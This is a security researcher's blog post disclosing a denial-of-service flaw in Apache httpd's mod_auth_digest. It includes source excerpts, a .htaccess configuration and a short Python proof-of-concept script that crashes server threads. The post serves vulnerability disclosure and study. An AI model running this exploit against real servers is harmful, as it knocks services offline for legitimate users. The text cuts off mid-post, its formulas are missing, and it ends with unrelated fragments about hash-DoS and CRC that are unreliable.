Awakening Zombie Code in Apache httpd
At the end of last year, while playing with hash-DoS (see this previous post and my Insomni’hack 2013 talk for understanding the whole context), I have found funny things in the code source of the Apache httpd web server. It concerns the module mod_auth_digest, which is responsible to authenticate users according to challenge-response protocols standardized in RFC 2617, namely MD5 and MD5-sess. Essentially these authentication mechanisms allow to protect passwords between the client and the web server from an adversary spying the communication, as they do not appear in clear like it is the case for the the Basic authentication mechanism provided by the module mod_auth_basic, but only in hashed form.
Those two different variants work in a slightly different way. By default, Apache uses the variants MD5 and the parameter qop (standing for “Quality of Protection”) is set to auth, as stated by the official documentation. First, two values are computed:
and
; then, the client computes the response as
and sends it to the web server, that can repeat the same computation as it knows all the different parameter values.
The MD5-sess variant works in a slightly different way. The value
is computed only once, on the first request by the client following the receipt of a WWW-Authenticate challenge from the server. It uses the server nonce from that challenge, and the first client nonce value to construct
as
. The rationales of this construction are explained in §3.2.2.2 of RFC 2617:
This creates a ‘session key’ for the authentication of subsequent requests and responses which is different for each “authentication session”, thus limiting the amount of material hashed with any one key. [...] Because the server need only use the hash of the user credentials in order to create the HA1 value, this construction could be used in conjunction with a third party authentication service so that the web server would not need the actual password value. The specification of such a protocol is beyond the scope of this specification.
More details can be found on the dedicated Wikipedia page. Interestingly, although it is possible to configure Apache httpd to use MD5-sess, through the AuthDigestAlgorithm directive, the documentation tells us that “MD5-sess is not correctly implemented yet”. Trying to use it in a .htaccess file results in an error 500 (“Internal Server Error”), and the httpd server gently explains why in the error logs:
|
1 2 3 |
[Thu Mar 21 15:25:59.858082 2013] [core:alert] [pid 23526:tid 139779710646016] [client 127.0.0.1:59616]
/home/pjunod/local/httpd/htdocs/aaa/.htaccess: AuthDigestAlgorithm: ERROR: algorithm `MD5-sess'
is not fully implemented |
Essentially, the use of MD5-sess is killed by the following routine:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
static const char *set_algorithm(cmd_parms *cmd, void *config, const char *alg)
{
if (!strcasecmp(alg, "MD5-sess")) {
return "AuthDigestAlgorithm: ERROR: algorithm `MD5-sess' "
"is not fully implemented";
}
else if (strcasecmp(alg, "MD5")) {
return apr_pstrcat(cmd->pool, "Invalid algorithm in AuthDigestAlgorithm: ", alg, NULL);
}
((digest_config_rec *) config)->algorithm = alg;
return NULL;
} |
Furthermore, other mechanisms, like one-time nonces (as a side note, cryptographically speaking, a nonce is a number that must be used only once…), nonce-count checking are not supported as well:
|
1 2 3 4 5 6 7 8 |
static void log_error_and_cleanup(char *msg, apr_status_t sts, server_rec *s)
{
ap_log_error(APLOG_MARK, APLOG_ERR, sts, s, APLOGNO(01760)
"%s - all nonce-count checking, one-time nonces, and "
"MD5-sess algorithm disabled", msg);
cleanup_tables(NULL);
} |
All those mechanisms require to store server-side information in a shared memory segment, as one needs some synchronization between the different threads. Still, there exists a lot of code in the source code of the module mod_auth_digest that are related to handling those mechanisms. Some configuration directives are also documented, like AuthDigestShmemSize, although shared memory seems to be used only by those disabled features. In summary, it appears that there seems to be a lot of zombie code in this mod_auth_digest module. Let’s try to awaken it
!
The routine note_digest_auth_failure() is responsible to handle authentication errors, and it still contains code that access the shared memory segment, more exactly through the routine gen_client(). The following piece of code is pretty interesting:
|
1 2 3 4 5 6 7 8 9 10 11 |
if (resp->opaque == NULL) {
/* new client */
if ((conf->check_nc || conf->nonce_lifetime == 0
|| !strcasecmp(conf->algorithm, "MD5-sess"))
&& (resp->client = gen_client(r)) != NULL) {
opaque = ltox(r->pool, resp->client->key);
}
else {
opaque = ""; /* opaque not needed */
}
} |
The conditions
conf->check_nc and
!strcasecmp(conf->algorithm, "MD5-sess") are always false, but
conf->nonce_lifetime == 0 can be made true through the AuthDigestNonceLifetime directive.
Here is a proof of concept: I have put the following .htaccess file in the /aaa directory
|
1 2 3 4 5 6 7 |
AuthType Digest
AuthDigestAlgorithm MD5
AuthName "test"
AuthDigestProvider file
AuthUserFile /home/pjunod/local/httpd/htdocs/aaa/.htpasswd
AuthDigestNonceLifetime 0
Require user pjunod |
and the following tiny Python script sends HTTP requests with a missing opaque field at a rather slow pace:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
#!/usr/bin/env python
import telnetlib
import time
request = """
GET /aaa/ HTTP/1.0
Authorization: Digest username="pjunod", realm="test", nonce="AgAAAAAAAAA=24975f9b4ed44ca753e20f112693af989883520c", uri="/aaa/", algorithm=MD5, response="f9b95970d32c88933b60a19806cf0de2", qop=auth, nc=00000001, cnonce="14080acca1e914c9",
"""
for i in range (1 << 16):
HOST = "localhost"
tn = telnetlib.Telnet(HOST, 80)
tn.write(request + "\n\n")
tn.close ()
time.sleep (0.5) |
This is sufficient to trigger floating-point exceptions (I also observed NULL pointer dereferences if the AuthDigestShmemSize directive is used) and to make repeatedly crash the different threads, hence rendering the httpd server in whole unavailable to legitimate requests.
In summary, if one is able to put a AuthDigestNonceLifetime somewhare in a .htaccess file, either directly or through injection, then one is able to completely sabotage an Apache httpd installation. This seemed pretty annoying to me, expecially if we have the shared web environments scenario in head. At the time of writing this post, this works with the versions 2.4.4 and 2.2.24, which are the latest ones.
For the record, I have contacted the Apache security team, first directly without success, then through the oCERT crew (thank you guys for your quick answer!), and I received the following answer:



average access time to a stored element, one can force the hash table to have a
one. If one is willing to explore all the elements in the hash table, the worst-case complexity becomes
instead of
-bit message
consists in interpreting the message as a polynomial
of degree
over
, dividing it by the CRC defining polynomial
, and taking the remainder, hence writing something like
. Obviously, adding any multiple of 
(I learned this while reading the source code of 